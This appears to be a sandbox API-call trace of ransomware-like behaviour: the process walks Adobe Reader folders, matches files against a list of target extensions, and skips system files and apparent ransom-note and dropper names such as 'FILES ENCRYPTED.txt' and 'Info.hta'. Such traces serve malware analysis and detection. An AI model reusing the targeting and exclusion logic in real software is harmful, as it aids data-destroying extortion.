	[0178.103] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\plugins\\tracked-send\\js\\nls\\zh-cn\\*", lpFindFileData=0x374d538 | out: lpFindFileData=0x374d538*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4140c98
	[0178.103] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374d538 | out: lpFindFileData=0x374d538*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0178.103] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374d538 | out: lpFindFileData=0x374d538*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x336b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0178.103] lstrlenW (lpString="ui-strings.js") returned 13
	[0178.104] lstrlenW (lpString=".1cd") returned 4
	[0178.104] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1
	[0178.104] lstrlenW (lpString=".3ds") returned 4
	[0178.104] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1
	[0178.104] lstrlenW (lpString=".3fr") returned 4
	[0178.104] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1
	[0178.104] lstrlenW (lpString=".3g2") returned 4
	[0178.104] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1
	[0178.104] lstrlenW (lpString=".3gp") returned 4
	[0178.104] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1
	[0178.104] lstrlenW (lpString=".7z") returned 3
	[0178.104] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1
	[0178.104] lstrlenW (lpString=".accda") returned 6
	[0178.104] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1
	[0178.104] lstrlenW (lpString=".accdb") returned 6
	[0178.104] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1
	[0178.104] lstrlenW (lpString=".accdc") returned 6
	[0178.104] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1
	[0178.104] lstrlenW (lpString=".accde") returned 6
	[0178.104] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1
	[0178.104] lstrlenW (lpString=".accdt") returned 6
	[0178.104] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1
	[0178.104] lstrlenW (lpString=".accdw") returned 6
	[0178.104] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1
	[0178.104] lstrlenW (lpString=".adb") returned 4
	[0178.104] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1
	[0178.104] lstrlenW (lpString=".adp") returned 4
	[0178.104] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1
	[0178.104] lstrlenW (lpString=".ai") returned 3
	[0178.104] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1
	[0178.104] lstrlenW (lpString=".ai3") returned 4
	[0178.104] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1
	[0178.104] lstrlenW (lpString=".ai4") returned 4
	[0178.104] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1
	[0178.104] lstrlenW (lpString=".ai5") returned 4
	[0178.105] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1
	[0178.105] lstrlenW (lpString=".ai6") returned 4
	[0178.105] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1
	[0178.105] lstrlenW (lpString=".ai7") returned 4
	[0178.105] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1
	[0178.105] lstrlenW (lpString=".ai8") returned 4
	[0178.105] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1
	[0178.105] lstrlenW (lpString=".anim") returned 5
	[0178.105] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1
	[0178.105] lstrlenW (lpString=".arw") returned 4
	[0178.105] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1
	[0178.105] lstrlenW (lpString=".as") returned 3
	[0178.105] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1
	[0178.105] lstrlenW (lpString=".asa") returned 4
	[0178.105] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1
	[0178.105] lstrlenW (lpString=".asc") returned 4
	[0178.105] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1
	[0178.105] lstrlenW (lpString=".ascx") returned 5
	[0178.105] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1
	[0178.105] lstrlenW (lpString=".asm") returned 4
	[0178.105] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1
	[0178.105] lstrlenW (lpString=".asmx") returned 5
	[0178.105] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1
	[0178.105] lstrlenW (lpString=".asp") returned 4
	[0178.105] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1
	[0178.105] lstrlenW (lpString=".aspx") returned 5
	[0178.105] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1
	[0178.105] lstrlenW (lpString=".asr") returned 4
	[0178.105] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1
	[0178.105] lstrlenW (lpString=".asx") returned 4
	[0178.106] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1
	[0178.106] lstrlenW (lpString=".avi") returned 4
	[0178.106] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1
	[0178.106] lstrlenW (lpString=".avs") returned 4
	[0178.106] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1
	[0178.106] lstrlenW (lpString=".backup") returned 7
	[0178.106] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1
	[0178.106] lstrlenW (lpString=".bak") returned 4
	[0178.106] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1
	[0178.106] lstrlenW (lpString=".bay") returned 4
	[0178.106] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1
	[0178.106] lstrlenW (lpString=".bd") returned 3
	[0178.106] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1
	[0178.106] lstrlenW (lpString=".bin") returned 4
	[0178.106] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1
	[0178.106] lstrlenW (lpString=".bmp") returned 4
	[0178.106] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1
	[0178.106] lstrlenW (lpString=".bz2") returned 4
	[0178.106] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1
	[0178.106] lstrlenW (lpString=".c") returned 2
	[0178.106] lstrcmpiW (lpString1=".c", lpString2="js") returned -1
	[0178.106] lstrlenW (lpString=".cdr") returned 4
	[0178.106] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1
	[0178.106] lstrlenW (lpString=".cer") returned 4
	[0178.106] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1
	[0178.106] lstrlenW (lpString=".cf") returned 3
	[0178.106] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1
	[0178.106] lstrlenW (lpString=".cfc") returned 4
	[0178.106] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1
	[0178.106] lstrlenW (lpString=".cfm") returned 4
	[0178.106] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1
	[0178.106] lstrlenW (lpString=".cfml") returned 5
	[0178.106] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1
	[0178.106] lstrlenW (lpString=".cfu") returned 4
	[0178.107] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1
	[0178.107] lstrlenW (lpString=".chm") returned 4
	[0178.107] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1
	[0178.107] lstrlenW (lpString=".cin") returned 4
	[0178.107] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1
	[0178.107] lstrlenW (lpString=".class") returned 6
	[0178.107] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1
	[0178.107] lstrlenW (lpString=".clx") returned 4
	[0178.107] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1
	[0178.107] lstrlenW (lpString=".config") returned 7
	[0178.107] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1
	[0178.107] lstrlenW (lpString=".cpp") returned 4
	[0178.107] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1
	[0178.107] lstrlenW (lpString=".cr2") returned 4
	[0178.107] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1
	[0178.107] lstrlenW (lpString=".crt") returned 4
	[0178.107] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1
	[0178.107] lstrlenW (lpString=".crw") returned 4
	[0178.107] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1
	[0178.107] lstrlenW (lpString=".cs") returned 3
	[0178.107] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1
	[0178.107] lstrlenW (lpString=".css") returned 4
	[0178.107] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1
	[0178.107] lstrlenW (lpString=".csv") returned 4
	[0178.107] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1
	[0178.107] lstrlenW (lpString=".cub") returned 4
	[0178.107] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1
	[0178.107] lstrlenW (lpString=".dae") returned 4
	[0178.107] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1
	[0178.107] lstrlenW (lpString=".dat") returned 4
	[0178.107] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1
	[0178.108] lstrlenW (lpString=".db") returned 3
	[0178.108] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1
	[0178.108] lstrlenW (lpString=".dbf") returned 4
	[0178.108] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1
	[0178.108] lstrlenW (lpString=".dbx") returned 4
	[0178.108] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1
	[0178.108] lstrlenW (lpString=".dc3") returned 4
	[0178.108] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1
	[0178.108] lstrlenW (lpString=".dcm") returned 4
	[0178.108] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1
	[0178.108] lstrlenW (lpString=".dcr") returned 4
	[0178.108] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1
	[0178.108] lstrlenW (lpString=".der") returned 4
	[0178.108] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1
	[0178.108] lstrlenW (lpString=".dib") returned 4
	[0178.108] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1
	[0178.108] lstrlenW (lpString=".dic") returned 4
	[0178.108] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1
	[0178.108] lstrlenW (lpString=".dif") returned 4
	[0178.108] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1
	[0178.108] lstrlenW (lpString=".divx") returned 5
	[0178.108] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1
	[0178.108] lstrlenW (lpString=".djvu") returned 5
	[0178.108] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1
	[0178.108] lstrlenW (lpString=".dng") returned 4
	[0178.108] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1
	[0178.108] lstrlenW (lpString=".doc") returned 4
	[0178.108] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1
	[0178.108] lstrlenW (lpString=".docm") returned 5
	[0178.108] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1
	[0178.108] lstrlenW (lpString=".docx") returned 5
	[0178.108] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1
	[0178.108] lstrlenW (lpString=".dot") returned 4
	[0178.108] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1
	[0178.109] lstrlenW (lpString=".dotm") returned 5
	[0178.109] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1
	[0178.109] lstrlenW (lpString=".dotx") returned 5
	[0178.109] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1
	[0178.109] lstrlenW (lpString=".dpx") returned 4
	[0178.109] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1
	[0178.109] lstrlenW (lpString=".dqy") returned 4
	[0178.109] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1
	[0178.109] lstrlenW (lpString=".dsn") returned 4
	[0178.109] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1
	[0178.109] lstrlenW (lpString=".dt") returned 3
	[0178.109] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1
	[0178.109] lstrlenW (lpString=".dtd") returned 4
	[0178.109] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1
	[0178.109] lstrlenW (lpString=".dwg") returned 4
	[0178.109] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1
	[0178.109] lstrlenW (lpString=".dwt") returned 4
	[0178.109] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1
	[0178.109] lstrlenW (lpString=".dx") returned 3
	[0178.109] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1
	[0178.109] lstrlenW (lpString=".dxf") returned 4
	[0178.109] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1
	[0178.109] lstrlenW (lpString=".edml") returned 5
	[0178.109] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1
	[0178.109] lstrlenW (lpString=".efd") returned 4
	[0178.109] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1
	[0178.109] lstrlenW (lpString=".elf") returned 4
	[0178.109] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1
	[0178.109] lstrlenW (lpString=".emf") returned 4
	[0178.109] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1
	[0178.109] lstrlenW (lpString=".emz") returned 4
	[0178.109] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1
	[0178.109] lstrlenW (lpString=".epf") returned 4
	[0178.109] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1
	[0178.109] lstrlenW (lpString=".eps") returned 4
	[0178.110] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1
	[0178.110] lstrlenW (lpString=".epsf") returned 5
	[0178.110] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1
	[0178.110] lstrlenW (lpString=".epsp") returned 5
	[0178.110] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1
	[0178.110] lstrlenW (lpString=".erf") returned 4
	[0178.110] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1
	[0178.110] lstrlenW (lpString=".exr") returned 4
	[0178.110] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1
	[0178.110] lstrlenW (lpString=".f4v") returned 4
	[0178.110] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1
	[0178.110] lstrlenW (lpString=".fido") returned 5
	[0178.110] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1
	[0178.110] lstrlenW (lpString=".flm") returned 4
	[0178.110] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1
	[0178.110] lstrlenW (lpString=".flv") returned 4
	[0178.110] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1
	[0178.110] lstrlenW (lpString=".frm") returned 4
	[0178.110] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1
	[0178.110] lstrlenW (lpString=".fxg") returned 4
	[0178.110] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1
	[0178.110] lstrlenW (lpString=".geo") returned 4
	[0178.110] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1
	[0178.110] lstrlenW (lpString=".gif") returned 4
	[0178.110] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1
	[0178.110] lstrlenW (lpString=".grs") returned 4
	[0178.110] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1
	[0178.110] lstrlenW (lpString=".gz") returned 3
	[0178.110] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1
	[0178.110] lstrlenW (lpString=".h") returned 2
	[0178.110] lstrcmpiW (lpString1=".h", lpString2="js") returned -1
	[0178.110] lstrlenW (lpString=".hdr") returned 4
	[0178.110] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1
	[0178.110] lstrlenW (lpString=".hpp") returned 4
	[0178.110] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1
	[0178.111] lstrlenW (lpString=".hta") returned 4
	[0178.111] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1
	[0178.111] lstrlenW (lpString=".htc") returned 4
	[0178.111] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1
	[0178.111] lstrlenW (lpString=".htm") returned 4
	[0178.111] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1
	[0178.111] lstrlenW (lpString=".html") returned 5
	[0178.111] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1
	[0178.111] lstrlenW (lpString=".icb") returned 4
	[0178.111] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1
	[0178.111] lstrlenW (lpString=".ics") returned 4
	[0178.111] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1
	[0178.111] lstrlenW (lpString=".iff") returned 4
	[0178.111] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1
	[0178.111] lstrlenW (lpString=".inc") returned 4
	[0178.111] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1
	[0178.111] lstrlenW (lpString=".indd") returned 5
	[0178.111] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1
	[0178.111] lstrlenW (lpString=".ini") returned 4
	[0178.111] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1
	[0178.111] lstrlenW (lpString=".iqy") returned 4
	[0178.111] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1
	[0178.111] lstrlenW (lpString=".j2c") returned 4
	[0178.111] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1
	[0178.111] lstrlenW (lpString=".j2k") returned 4
	[0178.111] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1
	[0178.111] lstrlenW (lpString=".java") returned 5
	[0178.111] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1
	[0178.111] lstrlenW (lpString=".jp2") returned 4
	[0178.111] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1
	[0178.111] lstrlenW (lpString=".jpc") returned 4
	[0178.111] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1
	[0178.111] lstrlenW (lpString=".jpe") returned 4
	[0178.111] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1
	[0178.112] lstrlenW (lpString=".jpeg") returned 5
	[0178.112] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1
	[0178.112] lstrlenW (lpString=".jpf") returned 4
	[0178.112] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1
	[0178.112] lstrlenW (lpString=".jpg") returned 4
	[0178.112] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1
	[0178.112] lstrlenW (lpString=".jpx") returned 4
	[0178.112] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1
	[0178.112] lstrlenW (lpString=".js") returned 3
	[0178.112] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0
	[0178.112] lstrlenW (lpString="ui-strings.js") returned 13
	[0178.112] lstrlenW (lpString=".GTF") returned 4
	[0178.112] lstrcmpiW (lpString1=".GTF", lpString2="s.js") returned -1
	[0178.112] lstrlenW (lpString="ui-strings.js") returned 13
	[0178.112] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1
	[0178.112] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1
	[0178.112] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1
	[0178.112] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1
	[0178.112] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1
	[0178.112] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1
	[0178.112] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1
	[0178.112] lstrcmpiW (lpString1="fvppjh.exe", lpString2="ui-strings.js") returned -1
	[0178.112] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\plugins\\tracked-send\\js\\nls\\zh-cn\\ui-strings.js") returned 158
	[0178.112] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374d538 | out: lpFindFileData=0x374d538*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x336b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0
	[0178.113] FindClose (in: hFindFile=0x4140c98 | out: hFindFile=0x4140c98) returned 1
	[0178.113] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0178.113] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374d7b4 | out: lpFindFileData=0x374d7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 1
	[0178.113] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\plugins\\tracked-send\\js\\nls\\zh-tw") returned 144
	[0178.113] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\plugins\\tracked-send\\js\\nls\\zh-tw") returned 1
	[0178.113] lstrlenW (lpString="zh-tw") returned 5
	[0178.113] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="zh-tw") returned -1
	[0178.113] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4220460
	[0178.113] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\plugins\\tracked-send\\js\\nls\\zh-tw") returned 144
	[0178.113] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\plugins\\tracked-send\\js\\nls\\zh-tw\\*", lpFindFileData=0x374d538 | out: lpFindFileData=0x374d538*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4140c98
	[0178.114] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374d538 | out: lpFindFileData=0x374d538*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0178.114] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374d538 | out: lpFindFileData=0x374d538*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3248, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0178.114] lstrlenW (lpString="ui-strings.js") returned 13
	[0178.114] lstrlenW (lpString=".1cd") returned 4
	[0178.114] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1
	[0178.114] lstrlenW (lpString=".3ds") returned 4
	[0178.114] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1
	[0178.114] lstrlenW (lpString=".3fr") returned 4
	[0178.114] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1
	[0178.114] lstrlenW (lpString=".3g2") returned 4
	[0178.114] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1
	[0178.114] lstrlenW (lpString=".3gp") returned 4
	[0178.114] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1
	[0178.114] lstrlenW (lpString=".7z") returned 3
	[0178.114] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1
	[0178.114] lstrlenW (lpString=".accda") returned 6
	[0178.114] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1
	[0178.114] lstrlenW (lpString=".accdb") returned 6
	[0178.114] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1
	[0178.114] lstrlenW (lpString=".accdc") returned 6
	[0178.114] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1
	[0178.114] lstrlenW (lpString=".accde") returned 6
	[0178.114] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1
	[0178.114] lstrlenW (lpString=".accdt") returned 6
	[0178.114] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1
	[0178.114] lstrlenW (lpString=".accdw") returned 6
	[0178.114] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1
	[0178.114] lstrlenW (lpString=".adb") returned 4
	[0178.114] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1
	[0178.114] lstrlenW (lpString=".adp") returned 4
	[0178.114] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1
	[0178.114] lstrlenW (lpString=".ai") returned 3
	[0178.115] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1
	[0178.115] lstrlenW (lpString=".ai3") returned 4
	[0178.115] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1
	[0178.115] lstrlenW (lpString=".ai4") returned 4
	[0178.115] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1
	[0178.115] lstrlenW (lpString=".ai5") returned 4
	[0178.115] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1
	[0178.115] lstrlenW (lpString=".ai6") returned 4
	[0178.115] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1
	[0178.115] lstrlenW (lpString=".ai7") returned 4
	[0178.115] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1
	[0178.115] lstrlenW (lpString=".ai8") returned 4
	[0178.115] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1
	[0178.115] lstrlenW (lpString=".anim") returned 5
	[0178.115] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1
	[0178.115] lstrlenW (lpString=".arw") returned 4
	[0178.115] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1
	[0178.115] lstrlenW (lpString=".as") returned 3
	[0178.115] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1
